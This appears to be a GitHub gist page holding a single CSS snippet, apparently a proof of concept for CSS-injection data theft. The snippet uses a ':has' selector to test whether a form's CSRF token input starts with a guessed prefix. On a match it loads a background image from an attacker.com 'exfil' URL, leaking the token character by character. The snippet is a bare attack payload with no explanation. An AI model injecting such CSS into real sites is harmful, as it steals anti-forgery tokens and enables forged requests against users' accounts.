Skip to content

Instantly share code, notes, and snippets.

@d0nutptr
Created July 25, 2018 07:45
Show Gist options
  • Save d0nutptr/7bdd78b992bdfd28c33a476ecac7f204 to your computer and use it in GitHub Desktop.
Save d0nutptr/7bdd78b992bdfd28c33a476ecac7f204 to your computer and use it in GitHub Desktop.
form:has(input[name=csrf][value^=token]) {
background-image: url(https://attacker.com/exfil/token);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment